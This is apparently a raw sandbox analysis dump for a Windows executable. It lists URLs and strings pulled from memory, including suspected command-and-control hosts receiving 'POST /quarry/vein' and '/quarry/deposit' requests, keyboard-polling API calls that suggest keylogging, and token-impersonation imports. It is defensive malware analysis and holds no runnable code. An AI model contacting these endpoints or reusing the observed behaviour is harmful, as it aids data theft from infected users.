"https://westbeavers.com/quarry/veinhttps://westbeavers.com/quarry/veinws\fonts\ariblk.ttfhttps://westbeavers.com/quarry/veinc2fe0eb4-f8aa-49b0-97e1-1c53a6386d02c2fe0eb4-f8aa-49b0-97e1-1c53a6386d02reqwest-" - Source: "00000000-00005912.00000002.204961.FE960000.00000004.mdmp") Found URL "https://westbeavers.com/quarry/depositeqwest-internal-sync-runtimemapping" - Source: "00000000-00005912.00000002.204961.FE960000.00000004.mdmp") Found URL "https://motherotters.com/quarry/depositanalyzing" - Source: "00000000-00005912.00000002.204961.FE960000.00000004.mdmp") Found URL "https://healskills.com/quarry/deposit6d02processing" - Source: "00000000-00005912.00000002.204961.FE960000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00005912.00000002.204961.FE9AF000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0globalsign" - Source: "00000000-00005912.00000002.204961.FE9AF000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/microsoft%20tls%20epages" - Source: "00000000-00005912.00000002.204961.FE9E5000.00000004.mdmp") Found URL "https://a.nel.cloudflare.com/report/v4?s=uauhk9750wlehtxazy%2bvuo6mgc57vl66twvu9zpivm6m1xfsvzbtxtc54gbsundgnhppbls6aj3h1nedfxn5xs%2bbr4dz90m%2bqlatq4orqt0n80e33s0qrvnpc0z6gw7g7kc%3d" - Source: "00000000-00005912.00000002.204961.FE9E5000.00000004.mdmp") Found URL "https://fs.microsoft.com/fs/windows/config.json08/13" - Source: "00000000-00005912.00000002.204961.FEE90000.00000002.mdmp") Found URL "https://fs.microsoft.com/fs/windows/config.json,config,008/13" - Source: "00000000-00005912.00000002.204961.FEE90000.00000002.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0z" - Source: "00000000-00005912.00000002.204961.FF8A0000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0e:5%6$" - Source: "00000000-00005912.00000002.204961.FF8A0000.00000004.mdmp") Found URL "http://certs.godaddy.com/repository/1301*go" - Source: "00000000-00005912.00000002.204961.FF8A0000.00000004.mdmp") Found URL "http://ocsp.godaddy.com/05.0,0*$http://crl.godaddy.com/gdroot-g2.crl0f?0=0;0301%https://certs.godaddy.com/repository/0jcs1" - Source: "00000000-00005912.00000002.204961.FF8A0000.00000004.mdmp") Found URL "https://_instancedartifactmschemaslinttstable@7vqv36felsitecinderligniteharnessupdatecompositaobsidian" - Source: "00000000-00005912.00000002.204961.FF8A0000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0n+vok4" - Source: "00000000-00005912.00000002.204961.FF8A0000.00000004.mdmp") Found URL "https://www.alphassl.com/repository/03,0*0(" - Source: "00000000-00005912.00000002.204961.FF8A0000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10%cx.g/8" - Source: "00000000-00005912.00000002.204961.FF8A0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0vs" - Source: "00000000-00005912.00000002.204961.FF8A0000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0.9iqmgvw,czco!yj2:l*" - Source: "00000000-00005912.00000002.204961.FF8A0000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?eglobalsign" - Source: "00000000-00005912.00000002.204961.FF8A0000.00000004.mdmp") Found URL "https://www.globalsign.com/repository/03,0*0(" - Source: "00000000-00005912.00000002.204961.FF8A0000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10b@dd*v" - Source: "00000000-00005912.00000002.204961.FF8A0000.00000004.mdmp") Found URL "https://@8dd*/" - Source: "00000000-00005912.00000002.204961.FF8A0000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0yr;0" - Source: "00000000-00005912.00000002.204961.FF8A0000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00005912.00000002.204961.FF8A0000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00005912.00000002.204961.FF8A0000.00000004.mdmp") Found URL "http://s2.symcb.com0^0\0z0r0&http://www.symauth.com/cps0(http://www.symauth.com/rpa00)0'0%http://s1.symcb.com/pca3-g5.crl0symantecpki-1-53303130f$eogtt3;addtrust" - Source: "00000000-00005912.00000002.204961.FF8A0000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00005912.00000002.204961.FF8A0000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00005912.00000002.204961.FF8A0000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00005912.00000002.204961.FF8A0000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00005912.00000002.204961.FF8A0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00005912.00000002.204961.FF8A0000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?!m5c3il" - Source: "00000000-00005912.00000002.204961.FF8A0000.00000004.mdmp") Found URL "http://cert.startcom.org/sfsca-crl.crl0+%http://crl.startcom.org/sfsca-crl.crl0" - Source: "00000000-00005912.00000002.204961.FF8A0000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf05)http://cert.startcom.org/intermediate.pdf0" - Source: "00000000-00005912.00000002.204961.FF8A0000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf0)startcom" - Source: "00000000-00005912.00000002.204961.FF8A0000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00005912.00000002.204961.FF8A0000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l250905032048z0/^g(o-cejy" - Source: "00000000-00005912.00000002.204961.FF8A0000.00000004.mdmp") Found URL "http://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0wx" - Source: "00000000-00005912.00000002.204961.FF8A0000.00000004.mdmp") Found URL "http://crl.microsoft.8]crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07iy()>@6t+a6" - Source: "00000000-00005912.00000002.204961.FF8A0000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l1.2.840.10045.3.1.5ecdp1.2.840.10045.3.1.3ecdpfp'p@9t\" - Source: "00000000-00005912.00000002.204961.FF8A0000.00000004.mdmp") Found URL "http://www.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crlhhttp://crl.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccertrulispca_2009-04-02.crt0+" - Source: "00000000-00005912.00000002.204961.FF8A0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl0th0f0d8http://www.microsoft.com/pki/certs/microsoftrootcert.crt0!:ctxcg" - Source: "00000000-00005912.00000002.204961.FF8A0000.00000004.mdmp") Found URL "http://microsoft.com0k" - Source: "00000000-00005912.00000002.204961.FF8A0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0t<" - Source: "00000000-00005912.00000002.204961.FF8A0000.00000004.mdmp") Found URL "http://microsoft.com0" - Source: "00000000-00005912.00000002.204961.FF8A0000.00000004.mdmp") Found URL "https://a.nel.cloudflare.com/report/v4?s=uauhk9750wlehtxazy%2bvuo6mgc57vl66twvu9zpivm6m1xfsvzbtxtc54gbsundgnhppbls6aj3h1nedfxn5xs%2bbr4dz90m%2bqlatq4orqt0n80e33s0qrvnpc0z6gw7g7kc%3d" - Source: "00000000-00005912.00000002.204961.FF8A0000.00000004.mdmp") Found URL "https://antialiasingcolor_depthhttps://motherottersstandalonehbuffer_sizeqnpvxzgjyusltrehkstandaloneridgelinewestbeavers.comvers.comsubstrateformationaftermathrefresh_snap_to_gridundo_levtab_widthhealskillstext/plainrrefresh_gnrmdpi_scalewestbeaverssubstratesw-renderqnpvxzgjpuundo_levelsline_spacingtokio-rtpvrefresh_rateokio-rt-workercolor_deridgelinestriationstandaloneline_spano" - Source: "00000000-00005912.00000003.212383.FE960000.00000004.mdmp") Found URL "https://westbeavers.com/quarry/veinhttps://westbeavers.com/quarry/veinws\fonts\ariblk.ttfhttps://westbeavers.com/quarry/veinc2fe0eb4-f8aa-49b0-97e1-1c53a6386d02c2fe0eb4-f8aa-49b0-97e1-1c53a6386d02reqwest-" - Source: "00000000-00005912.00000003.212383.FE960000.00000004.mdmp") Found URL "https://westbeavers.com/quarry/depositeqwest-internal-sync-runtimemapping" - Source: "00000000-00005912.00000003.212383.FE960000.00000004.mdmp") Found URL "https://motherotters.com/quarry/depositanalyzing" - Source: "00000000-00005912.00000003.212383.FE960000.00000004.mdmp") Found URL "https://healskills.com/quarry/deposit6d02processing" - Source: "00000000-00005912.00000003.212383.FE960000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00005912.00000003.212383.FE9AC000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0globalsign" - Source: "00000000-00005912.00000003.212383.FE9AC000.00000004.mdmp") Found URL "https://a.nel.cloudflare.com/report/v4?s=uauhk9750wlehtxazy%2bvuo6mgc57vl66twvu9zpivm6m1xfsvzbtxtc54gbsundgnhppbls6aj3h1nedfxn5xs%2bbr4dz90m%2bqlatq4orqt0n80e33s0qrvnpc0z6gw7g7kc%3d" - Source: "00000000-00005912.00000003.212383.FE9E5000.00000004.mdmp") Found URL "https://fs.microsoft.com/fs/windows/config.json08/13" - Source: "00000000-00005912.00000003.212383.FEE90000.00000002.mdmp") Found URL "https://fs.microsoft.com/fs/windows/config.json,config,008/13" - Source: "00000000-00005912.00000003.212383.FEE90000.00000002.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0z" - Source: "00000000-00005912.00000003.212383.FF8E0000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0e:5%6$" - Source: "00000000-00005912.00000003.212383.FF8E0000.00000004.mdmp") Found URL "http://certs.godaddy.com/repository/1301*go" - Source: "00000000-00005912.00000003.212383.FF8E0000.00000004.mdmp") Found URL "http://ocsp.godaddy.com/05.0,0*$http://crl.godaddy.com/gdroot-g2.crl0f?0=0;0301%https://certs.godaddy.com/repository/0jcs1" - Source: "00000000-00005912.00000003.212383.FF8E0000.00000004.mdmp") Found URL "https://_instancedartifactmschemaslinttstable@7vqv36felsitecinderligniteharnessupdatecompositaobsidian" - Source: "00000000-00005912.00000003.212383.FF8E0000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0n+vok4" - Source: "00000000-00005912.00000003.212383.FF8E0000.00000004.mdmp") Found URL "https://www.alphassl.com/repository/03,0*0(" - Source: "00000000-00005912.00000003.212383.FF8E0000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10%cx.g/8" - Source: "00000000-00005912.00000003.212383.FF8E0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0vs" - Source: "00000000-00005912.00000003.212383.FF8E0000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0.9iqmgvw,czco!yj2:l*" - Source: "00000000-00005912.00000003.212383.FF8E0000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?eglobalsign" - Source: "00000000-00005912.00000003.212383.FF8E0000.00000004.mdmp") Found URL "https://www.globalsign.com/repository/03,0*0(" - Source: "00000000-00005912.00000003.212383.FF8E0000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10b@dd*v" - Source: "00000000-00005912.00000003.212383.FF8E0000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0yr;0" - Source: "00000000-00005912.00000003.212383.FF8E0000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00005912.00000003.212383.FF8E0000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00005912.00000003.212383.FF8E0000.00000004.mdmp") Found URL "http://s2.symcb.com0^0\0z0r0&http://www.symauth.com/cps0(http://www.symauth.com/rpa00)0'0%http://s1.symcb.com/pca3-g5.crl0symantecpki-1-53303130f$eogtt3;addtrust" - Source: "00000000-00005912.00000003.212383.FF8E0000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00005912.00000003.212383.FF8E0000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00005912.00000003.212383.FF8E0000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00005912.00000003.212383.FF8E0000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00005912.00000003.212383.FF8E0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00005912.00000003.212383.FF8E0000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?!m5c3il" - Source: "00000000-00005912.00000003.212383.FF8E0000.00000004.mdmp") Found URL "http://cert.startcom.org/sfsca-crl.crl0+%http://crl.startcom.org/sfsca-crl.crl0" - Source: "00000000-00005912.00000003.212383.FF8E0000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf05)http://cert.startcom.org/intermediate.pdf0" - Source: "00000000-00005912.00000003.212383.FF8E0000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf0)startcom" - Source: "00000000-00005912.00000003.212383.FF8E0000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00005912.00000003.212383.FF8E0000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l250905032048z0/^g(o-cejy" - Source: "00000000-00005912.00000003.212383.FF8E0000.00000004.mdmp") Found URL "http://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0wx" - Source: "00000000-00005912.00000003.212383.FF8E0000.00000004.mdmp") Found URL "http://crl.microsoft.8]crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07iy()>@6t+a6" - Source: "00000000-00005912.00000003.212383.FF8E0000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l1.2.840.10045.3.1.5ecdp1.2.840.10045.3.1.3ecdpfp'p@9t\" - Source: "00000000-00005912.00000003.212383.FF8E0000.00000004.mdmp") Found URL "http://www.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crlhhttp://crl.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccertrulispca_2009-04-02.crt0+" - Source: "00000000-00005912.00000003.212383.FF8E0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl0th0f0d8http://www.microsoft.com/pki/certs/microsoftrootcert.crt0!:ctxcg" - Source: "00000000-00005912.00000003.212383.FF8E0000.00000004.mdmp") Found URL "http://microsoft.com0k" - Source: "00000000-00005912.00000003.212383.FF8E0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0t<" - Source: "00000000-00005912.00000003.212383.FF8E0000.00000004.mdmp") Found URL "http://microsoft.com0" - Source: "00000000-00005912.00000003.212383.FF8E0000.00000004.mdmp")3b:T4de,file/memory contains long string with (Indicator: "HTTP/1.1"; File: "SSL") file/memory contains long string with (Indicator: "HTTP/1.1"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found string "HTTP/1.1 200 OK" (Indicator: "HTTP/1.1"; Source: "00000000-00005912.00000000.201121.FE960000.00000004.mdmp, 00000000-00005912.00000000.201121.FF8A0000.00000004.mdmp, 00000000-00005912.00000001.203043.FE9E5000.00000004.mdmp, 00000000-00005912.00000001.203043.FF8A0000.00000004.mdmp, 00000000-00005912.00000002.204961.FE9E5000.00000004.mdmp, 00000000-00005912.00000002.204961.FF8A0000.00000004.mdmp, 00000000-00005912.00000003.212383.FE9E5000.00000004.mdmp") Found string "POST /quarry/vein HTTP/1.1" (Indicator: "HTTP/1.1"; Source: "00000000-00005912.00000000.201121.FF8A0000.00000004.mdmp, 00000000-00005912.00000001.203043.FF8A0000.00000004.mdmp, 00000000-00005912.00000002.204961.FF8A0000.00000004.mdmp, 00000000-00005912.00000003.212383.FF8E0000.00000004.mdmp") Found string "POST /quarry/deposit HTTP/1.1" (Indicator: "HTTP/1.1"; Source: "00000000-00005912.00000000.201121.FF8A0000.00000004.mdmp, 00000000-00005912.00000001.203043.FF8A0000.00000004.mdmp, 00000000-00005912.00000002.204961.FF8A0000.00000004.mdmp")3c:T4be,Found string "icrosoft Kerberos V1.0" (Indicator: "kerberos"; Source: "00000000-00005912.00000000.201121.FE960000.00000004.mdmp, 00000000-00005912.00000001.203043.FE9AF000.00000004.mdmp, 00000000-00005912.00000002.204961.FE9AF000.00000004.mdmp, 00000000-00005912.00000003.212383.FE9AC000.00000004.mdmp") Found string ":\WINDOWS\system32\kerberos.DLL" (Indicator: "kerberos"; Source: "00000000-00005912.00000000.201121.FE960000.00000004.mdmp, 00000000-00005912.00000001.203043.FE9AF000.00000004.mdmp, 00000000-00005912.00000002.204961.FE9AF000.00000004.mdmp, 00000000-00005912.00000003.212383.FE9AC000.00000004.mdmp") Found string "Kerberos" (Indicator: "kerberos"; Source: "00000000-00005912.00000000.201121.FE960000.00000004.mdmp, 00000000-00005912.00000001.203043.FE9AF000.00000004.mdmp, 00000000-00005912.00000002.204961.FE9AF000.00000004.mdmp, 00000000-00005912.00000003.212383.FE9AC000.00000004.mdmp") Found string "Microsoft Kerberos V1.0" (Indicator: "kerberos"; Source: "00000000-00005912.00000000.201121.FE960000.00000004.mdmp, 00000000-00005912.00000001.203043.FE9AF000.00000004.mdmp, 00000000-00005912.00000002.204961.FE9AF000.00000004.mdmp, 00000000-00005912.00000003.212383.FE9AC000.00000004.mdmp")3d:T1169,Found reference to API "GetAsyncKeyState" (Indicator: "GetAsyncKeyState"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API "MapVirtualKeyW" (Indicator: "MapVirtualKey"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API "GetKeyState" (Indicator: "GetKeyState"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API "MapVirtualKeyExW" (Indicator: "MapVirtualKey"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API "VkKeyScanW" (Indicator: "VkKeyScan"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API "GetKeyboardState" (Indicator: "GetKeyboardState"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API "427428566,2144,104,,GetKeyState,user32.dll,"00:52:21.687",RX=0,PX=0" (Indicator: "GetKeyState"; Source: "00000000-00005912.00000000.201121.FF8A0000.00000004.mdmp") Found reference to API "427343814,2144,104,,GetKeyState,user32.dll,"00:52:21.687",RX=0,PX=0" (Indicator: "GetKeyState"; Source: "00000000-00005912.00000000.201121.FF8A0000.00000004.mdmp") Found reference to API "326998724,2144,104,,GetKeyState,user32.dll,"00:52:21.640",RX=0,PX=0" (Indicator: "GetKeyState"; Source: "00000000-00005912.00000000.201121.FF8A0000.00000004.mdmp") Found reference to API "226306828,2144,104,,GetKeyState,user32.dll,"00:52:21.609",RX=0,PX=0" (Indicator: "GetKeyState"; Source: "00000000-00005912.00000000.201121.FF8A0000.00000004.mdmp") Found reference to API "402633038,2144,104,,GetKeyState,user32.dll,"00:52:21.671",RX=0,PX=0" (Indicator: "GetKeyState"; Source: "00000000-00005912.00000000.201121.FF8A0000.00000004.mdmp") Found reference to API "352165038,2144,104,,GetKeyState,user32.dll,"00:52:21.656",RX=0,PX=0" (Indicator: "GetKeyState"; Source: "00000000-00005912.00000000.201121.FF8A0000.00000004.mdmp") Found reference to API "301729438,2144,104,,GetKeyState,user32.dll,"00:52:21.640",RX=0,PX=0" (Indicator: "GetKeyState"; Source: "00000000-00005912.00000000.201121.FF8A0000.00000004.mdmp") Found reference to API "402687288,2144,104,,GetKeyState,user32.dll,"00:52:21.671",RX=0,PX=0" (Indicator: "GetKeyState"; Source: "00000000-00005912.00000000.201121.FF8A0000.00000004.mdmp") Found reference to API "352251508,2144,104,,GetKeyState,user32.dll,"00:52:21.656",RX=0,PX=0" (Indicator: "GetKeyState"; Source: "00000000-00005912.00000000.201121.FF8A0000.00000004.mdmp") Found reference to API "402778892,2144,104,,GetKeyState,user32.dll,"00:52:21.671",RX=0,PX=0" (Indicator: "GetKeyState"; Source: "00000000-00005912.00000000.201121.FF8A0000.00000004.mdmp") Found reference to API "427495026,2144,104,,GetKeyState,user32.dll,"00:52:21.687",RX=0,PX=0" (Indicator: "GetKeyState"; Source: "00000000-00005912.00000000.201121.FF8A0000.00000004.mdmp") Found reference to API "352041762,2144,104,,GetKeyState,user32.dll,"00:52:21.656",RX=0,PX=0" (Indicator: "GetKeyState"; Source: "00000000-00005912.00000000.201121.FF8A0000.00000004.mdmp") Found reference to API "352292272,2144,104,,GetKeyState,user32.dll,"00:52:21.656",RX=0,PX=0" (Indicator: "GetKeyState"; Source: "00000000-00005912.00000000.201121.FF8A0000.00000004.mdmp") Found reference to API "427394422,2144,104,,GetKeyState,user32.dll,"00:52:21.687",RX=0,PX=0" (Indicator: "GetKeyState"; Source: "00000000-00005912.00000000.201121.FF8A0000.00000004.mdmp") Found reference to API "0596375912,2144,104,,GetKeyState,user32.dll,"00:52:51.343",RX=0,PX=0" (Indicator: "GetKeyState"; Source: "00000000-00005912.00000001.203043.FF8A0000.00000004.mdmp") Found reference to API "0620338600,2144,104,,GetKeyState,user32.dll,"00:52:51.343",RX=0,PX=0" (Indicator: "GetKeyState"; Source: "00000000-00005912.00000001.203043.FF8A0000.00000004.mdmp") Found reference to API "0668770254,2144,104,,GetKeyState,user32.dll,"00:52:51.375",RX=0,PX=0" (Indicator: "GetKeyState"; Source: "00000000-00005912.00000001.203043.FF8A0000.00000004.mdmp") Found reference to API "0668802738,2144,104,,GetKeyState,user32.dll,"00:52:51.375",RX=0,PX=0" (Indicator: "GetKeyState"; Source: "00000000-00005912.00000001.203043.FF8A0000.00000004.mdmp") Found reference to API "0668835742,2144,104,,GetKeyState,user32.dll,"00:52:51.375",RX=0,PX=0" (Indicator: "GetKeyState"; Source: "00000000-00005912.00000001.203043.FF8A0000.00000004.mdmp")3e:T8b6,Found string "C:\Users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\base64-0.22.1\src\engine\general_purpose\mod.rn" (Indicator: "base64"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found string "C:\Users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\base64-0.22.1\src\engine\general_purpose\decode_suffix.rs" (Indicator: "base64"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found string "C:\Users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\base64-0.22.1\src\engine\general_purpose\decode.rs" (Indicator: "base64"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found string "C:\Users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\base64-0.22.1\src\encode.rs" (Indicator: "base64"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found string "C:\Users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\base64-0.22.1\src\write\encoder.rs" (Indicator: "base64"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found string "base64 is always valid HeaderValueC:\Users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\reqwest-0.12.28\src\util.rs" (Indicator: "base64"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found string "C:\Users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\base64-0.22.1\src\engine\mod.rn" (Indicator: "base64"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found string "ECDSA" (Indicator: "ecdsa"; Source: "00000000-00005912.00000000.201121.FF8A0000.00000004.mdmp, 00000000-00005912.00000001.203043.FF8A0000.00000004.mdmp, 00000000-00005912.00000002.204961.FF8A0000.00000004.mdmp, 00000000-00005912.00000003.212383.FF8E0000.00000004.mdmp") Found string "Microsoft Enhanced RSA and AES Cryptographic Provider" (Indicator: "aes"; Source: "00000000-00005912.00000000.201121.FF8A0000.00000004.mdmp, 00000000-00005912.00000001.203043.FF8A0000.00000004.mdmp, 00000000-00005912.00000002.204961.FF8A0000.00000004.mdmp, 00000000-00005912.00000003.212383.FF8E0000.00000004.mdmp")3f:T4bd,Observed import api "CopySid" which can "copy a security identifier (SID) to a buffer" [Source: 7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3] Observed import api "GetLengthSid" which can "return the length in bytes of a valid security identifier (SID)" [Source: 7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3] Observed import api "GetTokenInformation" which can "retrieve a specified type of information about an access token" [Source: 7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3] Observed import api "ImpersonateAnonymousToken" which can "enable the specified thread to impersonate the system's anonymous logon token" [Source: 7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3] Observed import api "IsValidSid" which can "validate a security identifier (SID) by verifying that the revision number is within a known range and that the number of subauthorities is less than the maximum" [Source: 7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3] Observed import api "RevertToSelf" which can "terminate the impersonation of a client application" [Source: 7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3]40:Td35,"7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9"; Key: "SERIAL_ACCESS_NUM"; Value: "") "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\NAMESPACE_CATALOG5"; Key: "SERIAL_ACCESS_NUM"; Value: "") "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe" (Access type: 